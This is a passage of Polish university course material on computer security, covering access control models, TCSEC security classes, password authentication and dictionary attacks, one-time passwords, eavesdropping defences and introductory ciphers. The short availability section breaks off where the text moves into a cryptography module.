Oprócz poziomu zaufania, każdy zasób posiada kategorię przynależności danych. Kategorie te nie są hierarchiczne i reprezentują jedynie rodzaj wykorzystania danych, np.:

 FINANSOWE, OSOBOWE, KRYPTO, MILITARNE

W celu określenia uprawnień w systemach MAC są konstruowane etykiety ochrony danych. Składają się one z 2 parametrów: poziomu zaufania i kategorii informacji, np.

 (tajne, {KRYPTO})
 (ściśle tajne, {KRYPTO,MILITARNE})

Na zbiorze etykiet ochrony danych określona jest relacja wrażliwości:

 (ściśle tajne, {KRYPTO,MILITARNE}) -> (tajne, {KRYPTO})

Jest to relacja częściowego porządku, nie wszystkie etykiety do niej należą. Przykładowo może nie być określona relacja pomiędzy etykietą:

 (ściśle tajne, {KRYPTO,MILITARNE})

a etykietą:

 (tajne, {FINANSOWE,KRYPTO})

Wobec podmiotów i zasobów w systemie MAC narzucone są niezmienne reguły, które wymusza system. Podmiot nie może mianowicie czytać danych o wyższej etykiecie (read-up) niż swoja aktualna. Podmiot nie może również zapisywać danych o niższej etykiecie (write-down) niż swoja aktualna. Zbiór reguł przedstawia rysunek:

 MAC 1:Użytkownik może uruchomić tylko taki proces, który posiada etykietę nie wyższą od aktualnej etykiety użytkownika.
 MAC 2:Proces może czytać dane o etykiecie nie wyższej niż aktualna etykieta procesu.
 MAC 3:Proces może zapisać dane o etykiecie nie niższej niż aktualna etykieta procesu.

Reguły MAC

Klasy bezpieczeństwa systemów komputerowych

W historii dziedziny bezpieczeństwa systemów komputerowych od początku starano się stworzyć reguły klasyfikacji systemów. Opracowano standardy certyfikacji:

• Trusted Computer System Evaluation Criteria (TCSEC "Orange Book") - USA
  http://www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html ; jest to standard opracowany w USA, ale stał się pierwszym powszechnym takim standardem w skali światowej. Owiązujący w latach 1983-2000 stał się podstawą opracowywania podobnych norm w Europie i na świecie. Bardzo często nawet współcześnie znajduje się odwołania do certyfikatów tego standardu.
• Information Technology Security Evaluation Criteria (ITSEC) - EU
  http://www.cesg.gov.uk ; obowiązywał w 1991-1997. Powstał głównie z angielskiego CESG2/DTIEC, francuskiego SCSSI i niemieckiego ZSIEC.
• Common Criteria Assurance Levels (EAL) - aktualnie obowiązujący standard będący w istocie złączeniem ITSEC, TCSEC oraz CTCPEC (Kanada). Od 1996 powszechnie znany jako Common Criteria for Information Technology Security Evaluation (CC; http://www.commoncriteria.org). Od 1999 roku zaakceptowany jako międzynarodowa norma ISO15408 ( EAL v.2).

Poniżej zostaną przedstawione wymagania klas bezpieczeństwa systemów komputerowych wg oryginalnej propozycji TCSEC "Orange Book". Schematyczne porównanie klas różnych standardów można znaleźć w tablece 1.

KLASA WŁASNOŚCI

D 

- minimalna ochrona (właściwie jej brak)

C1 

- identyfikacja i uwierzytelnianie użytkowników,

- hasła chronione

- luźna kontrola dostępu na poziomie właściciela / grupy / pozostałych użytkowników

- ochrona obszarów systemowych pamięci

C2 

- kontrola dostępu na poziomie poszczególnych użytkowników

- automatyczne czyszczenie przydzielanych obszarów pamięci

- wymagana możliwość rejestracji dostępu do zasobów

B1 

- etykietowane poziomy ochrony danych

B2 

- ochrona strukturalna - jądro ochrony

- weryfikacja autentyczności danych i procesów

- informowanie użytkownika o dokonywanej przez jego proces zmianie poziomu bezpieczeństwa

- wykrywanie zamaskowanych kanałów komunikacyjnych

- ścisła rejestracja operacji

B3 

- domeny ochronne

- aktywna kontrola pracy systemu (security triggers)

- bezpieczne przeładowanie systemu

A1 

- formalne procedury analizy i weryfikacji projektu i implementacji systemu

Tabelka 1. Porównanie klas bezpieczeństwa systemów komputerowych

Popularne systemy operacyjne plasują się na różnych poziomach klas bezpieczeństwa. Trzeba zaznaczyć, iż uzyskanie certyfikatu danej klasy jest operacją formalną i odpłatną.

Ogólne własności bezpieczeństwa informacji

Podstawowe własności bezpieczeństwa

Często wyróżnia się 3 podstawowe własności bezpieczeństwa informacji, których zachowanie jest konieczne w większości zastosowań systemów informatycznych. Są to poufność, nienaruszalność i dostępność informacji (rysunek 1).

Rysunek '1'. Trzy podstawowe własności bezpieczeństwa informacji
Zajmiemy się teraz omówieniem wybranych zagrożeń związanych z tymi trzema własnościami oraz krótkim przedstawieniem mechanizmów stosowanych w celu osiągnięcia tych własności.

Poufność informacji

Zagrożenia

Poufność, rozumiana - jak wiemy - jako ochrona przed nieautoryzowanym ujawnieniem (odczytem) informacji, narażona jest na ataki poprzez:

• nieuprawniony dostęp do danych w miejscu składowania w systemie, np. w bazie danych
• nieuprawniony dostęp do danych w miejscu przetwarzania, np. w aplikacji końcowej użytkownika
• podsłuchanie danych przesyłanych w sieci

Szczególny nacisk można położyć na szeroko rozumiany podsłuch, który dotyczy nie tylko oczywistego przypadku transmisji danych. Należy podkreślić techniczną możliwość podsłuchu zdalnego większości urządzeń infrastruktury systemu komputerowego, poprzez tzw. receptory Van Ecka. Dotyczy to urządzeń emitujących promieniowanie elektromagnetyczne (jak np. monitory ekranowe, szczególnie starszego typu - CRT). Zatem ten rodzaj podsłuchu stanowi teoretyczne zagrożenie również dla danych składowanych oraz przetwarzanych na stanowiskach komputerowych, niezależnie od komunikacji sieciowej.

Mechanizmy obrony

W celu ochrony informacji przed jej nieautoryzowanym odczytem należy przede wszystkim umieć określić czy zamierzony odczyt jest autoryzowany oraz zminimalizować prawdopodobieństwo „wycieku" danych poza mechanizmem kontroli dostępu (w transmisji). Zatem mechanizmy obrony stosowane do zapewnienia poufności realizować będą następujące zadania:

• uwierzytelnianie
• autoryzację i kontrolę dostępu do zasobów
• utrudnianie podsłuchu

Omówimy kolejno problematykę wymienionych zadań i pokażemy przykłady mechanizmów, które je realizują.

Uwierzytelnianie

W systemach informatycznych stosuje się następujące rodzaje uwierzytelniania:

1. uwierzytelnianie jednokierunkowe – polega na uwierzytelnieniu jednego podmiotu (uwierzytelnianego), np. klienta aplikacji, wobec drugiego (uwierzytelniającego) – serwera. Obrazuje to rysunek 2. Uwierzytelnienie następuje poprzez zweryfikowanie danych uwierzytelniających przekazanych przez podmiot uwierzytelniany. Typowymi danymi uwierzytelniającymi są np. identyfikator użytkownika i jego hasło dostępu.
   
   Rysunek '2'. Uwierzytelnianie jednokierunkowe
2. uwierzytelnianie dwukierunkowe – polega na kolejnym lub jednoczesnym uwierzytelnieniu obu podmiotów (które są wzajemnie i naprzemiennie uwierzytelnianym oraz uwierzytelniającym). Obrazuje to rysunek 3. Jeżeli wzajemne uwierzytelnianie następuje sekwencyjnie (np. najpierw klient wobec serwera, a później serwer wobec klienta), mówimy o uwierzytelnianiu dwuetapowym, natomiast jednoczesne uwierzytelnienie obu stron nazywamy jednoetapowym.
   
   
   Rysunek '3'. Uwierzytelnianie dwukierunkowe
3. uwierzytelnianie z udziałem zaufanej trzeciej strony – włącza w proces uwierzytelniania trzecią zaufaną stronę, która bierze na siebie ciężar weryfikacji danych uwierzytelniających podmiotu uwierzytelnianego. Po pomyślnej weryfikacji podmiot uwierzytelniany otrzymuje poświadczenie, które następnie przedstawia zarządcy zasobu, do którego dostępu żąda (serwerowi). Schemat ten pokazuje rysunek 4. Podstawową zaletą tego podejścia jest przesunięcie newralgicznej operacji uwierzytelniania do wyróżnionego stanowiska, które można poddać szczególnie podwyższonemu zabezpieczeniu. Należy też podkreślić potencjalną możliwość wielokrotnego wykorzystania wydanego poświadczenia (przy dostępie klienta do wielu zasobów, serwerów). Zaufana trzecia strona może być lokalna dla danej sieci komputerowej (korporacyjnej) lub zewnętrzna (wykorzystująca infrastrukturę uwierzytelniania dostępną w sieci rozległej np. publiczne urzędy certyfikujące).
   
   
   Rysunek '4'. Uwierzytelnianie z udziałem zaufanej trzeciej strony

Mechanizmy uwierzytelniania użytkowników

Klasyczne uwierzytelnianie użytkownika

W przypadku wielu współczesnych środowisk informatycznych, systemów operacyjnych lub systemów zarządzania bazami danych, funkcjonuje klasyczny mechanizm uwierzytelniania poprzez hasło. Proces uwierzytelniania rozpoczyna klient żądając zarejestrowania w systemie (login). Serwer pyta o identyfikator (nazwę) użytkownika, a następnie o hasło
i decyduje o dopuszczeniu do sieci. W większości przypadków nazwa użytkownika i hasło są przesyłane tekstem jawnym, co stanowić może kolejny problem zapewnienia poufności, jaką właśnie mamy osiągnąć stosując opisywany mechanizm. Stąd też takie klasyczne podejście nadaje się do wykorzystania jedynie w ograniczonej liczbie przypadków, kiedy np. mamy uzasadnioną skądinąd pewność wykluczenia możliwości podsłuchu danych uwierzytelniających.

Rysunek '5'. Klasyczne uwierzytelnianie użytkownika
Hasła nie są najefektywniejszą, ani najbezpieczniejszą formą weryfikacji tożsamości użytkownika, z następujących powodów

• hasło można złamać:
• odgadnąć, np. metodą przeszukiwania wyczerpującego (brute-force attack) lub słownikową (dictionary attack) - często hasła są wystarczająco nieskomplikowane by ułatwiło to odgadnięcie ich przez atakującego
• podsłuchać w trakcie niezabezpieczonej transmisji
• wykraść z systemowej bazy haseł użytkowników - zwykle hasła nie są przechowywane w systemie w postaci jawnej, często są zakodowane funkcją jednokierunkową lub zaszyfrowane, jednak niekiedy można stosunkowo łatwo jest pobrać i następnie starać się odzyskać ich oryginalną postać
• pozyskać inną metodą (np. kupić)
• hasła się starzeją - czas przez który możemy z dużą pewnością polegać na tajności naszego hasła skraca się nieustannie, przez co hasła wymagają systematycznych zmian na nowe
• w niektórych środowiskach aplikacyjnych stosuje się predefiniowane konta użytkowników (również o charakterze administracyjnym) i przypisuje się im dość powszechnie znane hasła domyślne - usuwanie lub dezaktywowanie takich kont czy zmiany haseł wymagają dużej staranności

Hasła są przedmiotem ataków - słownikowego i metodą przeszukiwania wyczerpującego. Słownikowy atak polega na podejmowaniu kolejnych prób zweryfikowania czy hasło wybierane ze zbioru popularnie stosowanych haseł (tzw. słownika) odpowiada hasłu aktualnie ustawionemu dla konta będącego celem ataku. Wariantem tego ataku jest wykradzenie nawet zakodowanych danych uwierzytelniających z systemu, aby po weryfikować czy kolejne hasła ze słownika dają po odpowiednim zakodowaniu którąś z postaci przechowywanych w systemie.
Przykładem analizy podatności haseł na atak słownikowy jest kilkukrotnie wykonane badanie, znane powszechnie jako raport Kleina. Operacje wykonywane w tym badaniu doskonale odzwierciedlają metodologię tworzenia słownika i mogą być doskonałą ilustracją zagrożeń wynikających z wyboru słabych haseł. W skrócie opisując Klein wykonał następujące operacje służące do uzyskania słownika haseł:

• wejściową postać słownika utworzyły nazwy użytkowników w systemie, ich inicjały oraz inne dostępne informacje (np. daty urodzin)
• następnie dodane zostały imiona i ich permutacje, nazwy miejsc, nazwiska sławnych ludzi, tytuły filmów i książek S-F oraz nazwiska postaci, dziedziny sportu i terminy sportowe
• wejściowy rozmiar słownika objął w efekcie ok. 1 500 haseł
• na tej zawartości słownika wykonane zostały przekształcenia powszechnie stosowane przez użytkowników: np. zmiana pierwszej litery na wielką, zastąpienie pierwszej litery znakiem sterującym, zamianę litery o na 0 czy l na 1, utworzenie liczby mnogiej, dodanie przed- i przyrostków
• dalej dołączone zostały kombinacje małych i wielkich liter haseł
• co dało łącznie ok. 1 000 000 słów

Z tak przygotowanym słownikiem zrealizowano atak na hasła użytkowników w rzeczywistym systemie. Efekty przedstawia poniższa lista trafień haseł (fragment) ze słownika wg poszczególnych kategorii (bez uwzględniania wśród nich przekształceń i kombinacji):

• nazwa użytkownika: ponad 10%
• nazwy pospolite: ponad 16%
• imiona żeńskie: 4,8%
• imiona męskie: 4%
• mity i legendy: 2%
• sport: 0,8%
• słownik środowiska korekty językowej dostępny w systemie operacyjnym (/usr/dict/words): blisko 30%

Wszystkie wymienione kategorie (nie jest to lista kompletna) należy uznać, jak widać, za słabe hasła i wystrzegać się ich przy wyborze własnego.
Przeszukiwanie wyczerpujące („atak brutalny") polega kolejnym weryfikowaniu całej przestrzeni haseł, czyli wybieraniu wszystkich możliwych permutacji znaków z alfabetu wykorzystywanego przy ustawianiu hasła użytkownika. Taki atak jest oczywiście kosztowny czasowo - wymaga prób dopasowania każdej permutacji do odgadywanego hasła, co zależy od wielkości alfabetu i długości hasła (rozmiaru przestrzeni haseł).
Prawdopodobieństwo odgadnięcia hasła wyraża wzór (1):
\(P = \frac{L \cdot R}{S}\) (0)

gdzie

L = czas obowiązywania hasła

R = współczynnik szybkości (ilość prób na jednostkę czasu)

S = przestrzeń haseł - dla haseł o długości k z alfabetu N znaków: S = N ^k

Uwzględniając zagrożenia wynikające z przedstawionych ataków na hasła, można zaproponować następujące „żelazne reguły" higieny haseł:

czego nie wolno

• wybierać hasła o długości krótszej niż 6 znaków
• wybierać jako hasło znanego słowa, imienia, nazwiska, daty urodzenia, numeru telefonu, numeru rejestracyjnego
• zmieniać hasła tak, by nowe było zależne od starego
  (np. z 012345 na 123456)
• zapisywać hasła w widocznych lub łatwo dostępnych miejscach
  (jak np. fragment biurka zakryty klawiaturą, wnętrze szuflady
  czy płyta z danymi)
• informować nikogo o swoim haśle

co należy

• wybierać długie i mało znane słowo lub frazę (kombinacja różnych znaków)
• wybrać hasło w sposób na tyle losowy na ile tylko możliwe
• zmieniać hasło możliwie często, lecz w nieprzewidywalny sposób
• zmienić hasło natychmiast, jak tylko rodzi się podejrzenie, że ktoś mógł je poznać

co warto

• opracować własny algorytm generowania haseł - wybór pierwszych liter słów ulubionej fraszki, ostatnich znaków z wersów wiersza lub wybranej strony książki itp.
• zlecić systemowi wygenerowanie trudnego hasła

Zdalne potwierdzanie tożsamości użytkownika

W środowisku sieci TCP/IP wypracowano mechanizm prostego potwierdzania tożsamości użytkownika, który żąda zdalnego uwierzytelniania. W tym celu powstał standard RFC 1413 opisujący usługę o nazwie ident. Niezależnie od jej aktualnej przydatności i powszechności warto zdawać sobie sprawę z istoty jej działania, którą łatwo opisać w następujący sposób:

• użytkownik uruchamia klienta usługi i nawiązuje połączenie z serwerem
• serwer kontaktuje się z wydzielonym serwerem - identd, pracującym na stacji klienta (113/tcp) w celu poświadczenia nazwy (lub identyfikatora) użytkownika wykorzystującego usługę

Rysunek '6'. Klasyczne uwierzytelnianie użytkownika
Należy też zdawać sobie sprawę z potencjalnych zagrożeń jakie niesie udostępnianie przez usługę ident informacji o przynależności procesów dokonujących komunikacji sieciowej (nie tylko klientów). W standardzie RFC 1413 oraz w praktycznych implementacjach nie realizuje się bowiem uwierzytelniania podmiotu żądającego informacji z tej usługi, może ona być zatem również nadużyta przez potencjalnego włamywacza.

Uwierzytelnianie jednokrotne (SSO – single sign-on)

Procedury uwierzytelniania jednokrotnego są częściowym rozwiązaniem problemu ochrony danych uwierzytelniających przed złamaniem w systemie wielozasobowym, np. sieci komputerowej z wieloma serwerami.
Ideą procedury uwierzytelniania jednokrotnego jest minimalizacja ilości wystąpień danych uwierzytelniających w systemie - hasło powinno być podawana jak najrzadziej. Zgodnie z tą zasadą, jeśli jeden z komponentów systemu (np. system operacyjny) dokonał pomyślnie uwierzytelniania użytkownika, pozostałe komponenty (np. inne systemy lub zarządcy zasobów) ufać będą tej operacji i nie będą samodzielnie wymagać podawania ponownie danych uwierzytelniających. Przy tym jest możliwe teoretycznie, że wszystkie komponenty samodzielnie korzystają z odmiennych mechanizmów uwierzytelniana. Wówczas, dodatkowo po pierwszorazowym uwierzytelnieniu użytkownika, system może oddelegować specjalny moduł do przechowywania odrębnych danych uwierzytelniających użytkownika i poświadczania w przyszłości jego tożsamości wobec innych komponentów systemu.
Schemat SSO przedstawia rysunek 7. W przedstawionej na rysunku sytuacji tylko jeden serwer dokonuje uwierzytelniania klienta, reszta ufa uwierzytelnianiu dokonanemu przez ten serwer.

Rysunek '7'. Uwierzytelnianie jednokrotne (SSO)

Hasła jednorazowe (OTP – one-time passwords)

Istota wykorzystania haseł jednorazowych wynika zamiaru ochrony ich przed przechwyceniem i nieautoryzowanym wykorzystanie, w przyszłości. Jednak nie polega na zapewnieniu ich poufności w transmisji lecz na uczynieniu ich de facto bezwartościowymi po przechwyceniu. Opiera się na, jak sama nazwa wskazuje, tylko użyciu danej postaci hasła tylko raz. Hasła jednorazowe mają przy każdym kolejnym uwierzytelnieniu inną postać. Raz przechwycone hasło jednorazowe nie jest przydatne, bowiem przy kolejnym uwierzytelnieniu będzie obowiązywać już inne. Komunikacja między podmiotami procesu uwierzytelniania może być zatem jawna. Stosujące takie hasła procedury uwierzytelniania muszą jedynie oferować brak możliwości odgadnięcia na podstawie jednego z haseł, hasła następnego.
Hasła jednorazowe generowane są przy pomocy listy haseł, synchronizacji czasu lub metody zawołanie-odzew. Dostępne są najczęściej w następujących postaciach: listy papierowe, listy-zdrapki, tokeny programowe i tokeny sprzętowe.
Listy haseł to najprostsza i najtańsza metoda identyfikacji metodą haseł jednorazowych. Użytkownik otrzymuje listę zawierająca ponumerowane hasła. Ta sama lista zostaje zapisana w bazie systemu identyfikującego. W trakcie logowania użytkownik podaje swój identyfikator, a system prosi o podanie hasła z odpowiednim numerem. Klient za każdym razem posługuje się kolejnym niewykorzystanym hasłem z listy.

Rysunek '8'. Uwierzytelnianie metodą listy haseł jednorazowych
W metodzie z synchronizacją czasu (time synchronization) klient generuje unikalny kod w funkcji pewnego parametru X użytkownika (identyfikatora, kodu pin, hasła, numeru seryjnego karty identyfikacyjnej) oraz bieżącego czasu. Serwer następnie weryfikuje otrzymany od klienta kod korzystając z identycznej funkcji (z odpowiednią tolerancją czasu).

Rysunek '9'. Uwierzytelnianie metodą z synchronizacją czasu
Natomiast w metodzie zawołanie-odzew (challenge-response) serwer pyta o nazwę użytkownika, a następnie przesyła unikalny ciąg („zawołanie"). Klient koduje otrzymany ciąg (np. swoim hasłem lub innym tajnym parametrem pełniącym rolę klucza) i odsyła jako „odzew". Serwer posługując się identycznym kluczem weryfikuje poprawność odzewu.

Rysunek '10'. Uwierzytelnianie metodą listy haseł jednorazowych
Tokeny programowe to specjalne programy generujące hasła. W zależności od implementacji program na podstawie kwantu czasu lub zawołania serwera generuje hasło jednorazowe, które weryfikuje serwer.
Token sprzętowy jest małym przenośnym urządzeniem spełniającym wszystkie funkcje tokenu programowego.
Pewną ciekawostką zyskującą na popularności jest wykorzystanie telefonu komórkowego w uwierzytelnianiu za pomocą haseł jednorazowych. Cały proces polega przesłaniu hasła jednorazowego z serwera na telefon w postaci wiadomości SMS. W tym przypadku rola telefonu jako swoistego tokena sprowadza się tylko do medium odbierającego i wyświetlającego dane.

Inne mechanizmy uwierzytelniania

Do uwierzytelniania użytkowników można wykorzystać również przedmioty, których posiadaniem musi się wykazać uwierzytelniany. Mogą to być np. karty magnetyczne, karty elektroniczne czy tokeny USB. Ponadto, w przypadku ludzi, można posłużyć się również cechami osobowymi wynikającymi z odmienności parametrów niektórych naturalnych składników organizmu (uwierzytelnianie biometryczne), takich jak m.in.:

• klucz DNA
• małżowina uszna
• geometria twarzy
• termogram twarzy
• termogram dłoni
• obraz żył krwionośnych na zaciśniętej pięści
• odcisk palca (dermatoglify)
• chód
• geometria dłoni
• tęczówka oka
• odcisk dłoni
• obraz siatkówki
• podpis odręczny
• głos

Autoryzacja i kontrola dostępu do zasobów

Mechanizmy ochrony dostępu do danych

Zadania autoryzacji i kontroli dostępu legalnych użytkowników należą do podstawowych funkcji systemów operacyjnych czy systemów zarządzania bazą danych oraz środowisk przetwarzania rozproszonego. W większości przypadków te funkcje są realizowane podobnie.
Aktualnie jednym z najczęściej stosowanych mechanizmów weryfikacji praw dostępu jest lista kontroli dostępu, której implementacje, w zależności od konkretnego systemu, noszą nazwy ACL (Access Control List), ARL (Access Rights List) lub Trustees. Ogólna koncepcja działania mechanizmu listy kontroli polega na wyspecyfikowaniu dla każdego udostępnianego zasobu listy indywidualnych użytkowników lub ich grup bądź kategorii oraz przydzieleniu im podzbiorów uprawnień wybranych ze zbioru wszystkich uprawnień dostępnych dla danego zasobu (rysunek 11).

Rysunek '11'. Lista kontroli dostępu do pliku
W kolejnych modułach (<A HREF="bsk-m6.doc">moduł 6</A> i (<A HREF="bsk-m11.doc">moduł 11</A>) omówione zostaną przykłady realizacji autoryzacji i kontroli dostępu użytkowników wybranych systemów operacyjnych oraz systemów zarządzania bazą danych.

Utrudnianie podsłuchu

Atak poprzez podsłuch jest zwykle skierowany przeciwko określonym zasobom i ma konkretny cel (np. przechwycenie hasła, lub zawartości konkretnych plików). Atak taki w istocie polega na wykonaniu operacji umożliwiających dostęp do kanału transmisyjnego (wpięcie się do medium transmisyjnego, podłączenie do stacji bazowej sieci bezprzewodowej itp.) a następnie wyłuskaniu z całego ruchu odbywającego się w tym kanale informacji poszukiwanych.
Ogólna koncepcja utrudniania podsłuchu polega zatem na uczynieniu możliwie jak najbardziej kłopotliwym obu kroków ataku - wpięcia się do kanału komunikacyjnego i wyłuskania użytecznych danych. Operacje utrudniania podsłuchu obejmują:

• stosowanie topologii sieciowej utrudniającej ewentualny posłuch lub ułatwiającej jego wykrycie, np. topologii gwiazdy (okablowanie strukturalne)
• stosowanie medium mniej podatnego na podsłuch; przykładowo popularne przewodowe media transmisyjne można uszeregować wg łatwości i skuteczności ich ewentualnego podsłuchu: UTP -> FTP -> STP -> SSTP -> FO
• utrudnianie wyłuskania użytecznych danych poprzez sztuczne generowanie ruchu (traffic padding) - wypełnianie wolnego pasma przenoszenia sieci danymi bezużytecznymi, co czyni trudniejszym, przynajmniej potencjalnie, rozróżnienie danych użytecznych od reszty (w wyniku zwiększenia proporcji danych bezużytecznych w całym ruchu)
• tworzenie zamkniętych grup użytkowników, poprzez separację ruchu sieciowego kierowanego z i do odrębnych grup użytkowników systemu (wspierają to już dojrzałe technologie VLAN ACL, Wire-rate ACL i in.)
• kontrola dostępu do zasobów infrastruktury sieciowej, poprzez dopuszczanie do udziału w ruchu sieciowym tylko uwierzytelnionych stacji sieciowych (co realizuje np. protokół IEEE 802.1x)
• szyfrowanie danych - stanowiące niewątpliwie najbardziej uniwersalny mechanizm ochrony poufności danych (czy ja zobaczymy wkrótce - szerzej rozumianej ochrony danych)
• ograniczanie emisji elektromagnetycznej - atak przez przechwycenie promieniowania van Ecka jest nadal tańszy od innego typu ataków na poufność danych (np. ataku kryptoanalitycznego), mimo że wymaga bardzo specjalistycznego sprzętu. Skutecznie można utrudnić ten atak poprzez wykorzystanie materiałów pochłaniających istotnie dużą część promieniowania elektromagnetycznego. Mamy do dyspozycji ekranujące materiały konstrukcyjne (obudowy komputerów i urządzeń peryferyjnych) oraz ekranujące materiały elastyczne do przygotowania pomieszczeń (tapety, wykładziny podłogowe i sufitowe). W niektórych zastosowaniach, jak np. przetwarzanie danych niejawnych, obowiązuje standard TEMPEST (Transient Electromagnetic Pulse Emanation Standard), który definiuje wymagania stanowiska komputerowego o ograniczonej emisji elektromagnetycznej. Stanowiska komputerowe zgodne z TEMPEST to wydatek rzędu kilkunastu, kilkudziesięciu tysięcy złotych.

Nienaruszalność informacji (integralność)

Kolejnym po poufności aspektem bezpieczeństwa omawianym w tym module jest nienaruszalność informacji, rozumiana jako ochrona danych przed ich nieautoryzowanym zmodyfikowaniem (dostępem do zapisu, w odróżnieniu od poufności, która oznacza ochronę przed nieautoryzowanym dostępem do odczytu).

Zagrożenia

Zagrożeniem nienaruszalności informacji jest zatem celowa lub przypadkowa modyfikacja danych przez nieuprawnionych użytkowników bądź oprogramowanie (np. wirusowe).

Mechanizmy obrony

Mechanizmy obrony stosowane do zapewnienia nienaruszalności informacji obejmują w szczególności:

• kontrolę dostępu do danych - wymienione wcześniej mechanizmy list kontroli dostępu
• sumy kontrolne zbiorów danych (np. plików dyskowych)
• kryptograficzne sumy kontrolne i podpis elektroniczny
• rejestrację operacji na danych (auditing) - niezbędną dla formalnego wykrycia naruszeń integralności; zwykle spotyka się podział danych audytu co najmniej na rejestr zdarzeń systemowych oraz rejestr zdarzeń aplikacji.
• kontrolę antywirusową

Dostępność informacji

Zagrożenia

Wśród zagrożeń nienaruszalności informacji należy wymienić przede wszystkim:

Podstawowe elementy kryptografii

Podstawowe elementy kryptografii

Mechanizmy kryptografii są powszechnie wykorzystywane w dziedzinie bezpieczeństwa systemów komputerowych. Stanowią bardzo uniwersalne narzędzie osiągania poufności, integralności czy autentyczności, są stosowane w procedurach uwierzytelniania, do ochrony danych składowanych i komunikacji sieciowej. Należą niewątpliwie do najważniejszych mechanizmów bezpieczeństwa.
Bieżący moduł przedstawia elementarne pojęcia dziedziny kryptografii i prezentuje podstawowe koncepcje algorytmów szyfracji. Celem dydaktycznym modułu jest wyrobienie intuicji działania popularnych technik kryptograficznych i ich własności. Kolejny moduł przedstawi podstawowe zastosowania mechanizmów kryptograficznych w informatyce.

Podstawowe pojęcia

Kryptografia jest dziedziną kryptologii - nauki operującej bardzo formalnym i relatywnie skomplikowanym aparatem matematycznym. Nie jest celem tego modułu przedstawienie tego aparatu, lecz jedynie przybliżenie istoty operacji szyfrowania i deszyfrowania. Wymaga to jednak minimalnej ilości jasno definiowanych terminów. Niniejszy rozdział przedstawia podstawowe pojęcia, które wykorzystywane będą w dalszej części modułu.
Kryptologia jest to wiedza naukowa obejmująca kryptografię i kryptoanalizę.
Kryptografia jest dziedziną obejmująca zagadnienia związane z utajnieniem danych (w kontekście przesyłania wiadomości i zabezpieczenia dostępu do informacji) przed niepożądanym dostępem. Przez utajnienie należy tu rozumieć taką operację, która powoduje że wiadomość jest trudna do odczytania (rozszyfrowania) przez podmiot nie znający tzw. klucza rozszyfrowującego - dla takiego podmiotu wiadomość będzie wyłącznie niezrozumiałym ciągiem wartości (znaków).
Kryptoanaliza natomiast to dziedzina kryptologii zajmująca się łamaniem szyfrów, czyli odczytywaniem zaszyfrowanych danych bez posiadania kluczy rozszyfrowujących.
Dane, które poddawane będą operacjom ochrony kryptograficznej nazywać tu będziemy po prostu tekstem jawnym lub wiadomością czytelną.
Kryptogramem (szyfrogramem) będziemy nazywali zaszyfrowaną postać wiadomości czytelnej.
Klucz szyfrowania to ciąg danych służących do szyfrowania wiadomości czytelnej w kryptogram za pomocą algorytmu szyfrowania. Klucz ten jest odpowiednio ustalany (uzgadniany) przez nadawcę w fazie szyfrowania.
Klucz rozszyfrowujący jest z kolei ciągiem danych służących do rozszyfrowania kryptogramu do postaci wiadomości czytelnej za pomocą algorytmu deszyfrowania. Naturalnie, klucz ten odpowiada w pewien sposób kluczowi szyfrowania wykorzystanemu w fazie szyfrowania.
W niektórych przypadkach będziemy mieli do czynienia z ciekawą własnością przemienności kluczy. Przemienność kluczy oznacza, że role dwóch kluczy z pary mogą ulec przestawieniu. Mianowicie informację zaszyfrowaną jednym kluczem można rozszyfrować tylko przy pomocy odpowiadającego mu drugiego klucza z pary, i odwrotnie, informację zaszyfrowaną drugim kluczem można rozszyfrować wyłącznie przy pomocy klucza pierwszego.

Proste szyfry

Teraz przejdziemy do zademonstrowania prostych operacji kryptograficznych, które wykorzystywane są również w bardzo skomplikowanych procesach szyfrowania i deszyfrowania. Świadomość ich funkcjonowania jest niezbędna dla zrozumienia istoty aktualnie wykorzystywanych algorytmów szyfrowania.

Szyfrowanie metodą podstawiania

Szyfrowanie metodą podstawiania jest prawdopodobnie najprostszą koncepcją utajniania informacji. Było już stosowane w czasach antycznych. Przykładem a przykład może u posłużyć szyfr wykorzystywany przez Juliusza Cezara do utajniania korespondencji wojskowej, nazywany na jego cześć szyfrem Cezara (notabene jest to jedno z pierwszych nazwisk związanych z kryptografią).
Działanie tej metody szyfrowania polega na wykonaniu na każdym znaku wiadomości czytelnej przekształcenia szyfrującego polegającego na zastąpieniu tego znaku innym o pozycji w alfabecie przesuniętej o zadaną ilość znaków względem znaku szyfrowanego. Przy czym pozostajemy wyłącznie w dziedzinie alfabetu wejściowego (przesunięcie pozycji jest w istocie rotacją - „zapętla się" po osiągnięciu końcowego znaku alfabetu na jego początek). Operację taką nazywa się z tego powodu monogramem.
Operację szyfrującą na znaku x możemy zatem zapisać formalnie jako \(f(x) = x + \Delta\), gdzie dodawanie oznacza zmianę (rotację!) pozycji znaku w alfabecie, a symbol \(\Delta\) oznacza wartość przesunięcia przy podstawianiu. Należy zaobserwować, iż w istocie zatem wartość \(\Delta\) jest kluczem szyfrowania. Jest to również klucz deszyfrowania, gdzie deszyfrowanie polega na „odejmowaniu" pozycji znaku o wartość \(\Delta\). Dla szyfru Cezara wartość \(\Delta\) jest stała i wynosi 3. Natomiast dla kodu nazywanego Captain Midnight \(\Delta\) jest kluczem zmiennym.

szyfr Cezara: \("A" \Rightarrow ( "A" + 3 ) = "D"\)
kod Captain Midnight: \("A" \Rightarrow ( "A" + \Delta); \Delta = 1,...,26\)

Rysunek '1'. Przykłady monogramów
Szyfry monoalfabetyczne mogą być konstruowane i opisywane różnymi wzorami matematycznymi. W powyższym przykładzie funkcję podstawienie zapisywaliśmy \(f(x)\). W kryptologii częściej stosuje się zapis \(E[x|k]\), gdzie \(E[]\) jest operacją szyfrowania (ang. encryption), a k oznacza użyty klucz. W niniejszym module będziemy stosowali najczęściej uproszczony zapis postaci \(E_k[x]\)
Oto przykłady formalnych definicji przekształceń monoalfabetycznych:

• \(f(x) = x + k\)
  \(E[x|k] = x + k\)
  \(E_k[x] = x + k\)
• \(f(x) = x \cdot k \bmod n\)
  \(E[x|k] = x \cdot k \bmod n\)
• \(f(x) = (x \cdot a + b) \bmod n\)
  \(E[x|a,b] = (x \cdot a + b) \bmod n\)

Szyfrowanie metodą przestawiania

Inną podstawową operacją kryptograficzną jest przestawianie treści wiadomości czytelnej. Polega ono na przestawieniu kolejności wystąpienia znaków („wymieszaniu") testu jawnego. Kryptogram rozszyfrowujemy wykonując odwrotne przestawianie.
Najprostszym przypadkiem szyfrowania metodą przestawiania jest przestawienie losowe. W jego przypadku kolejne znaki wiadomości czytelnej przyjmują przypadkowe pozycje w kryptogramie. Takie szyfrowanie ma sens dla relatywnie niedużych wiadomości (rysunek 2).

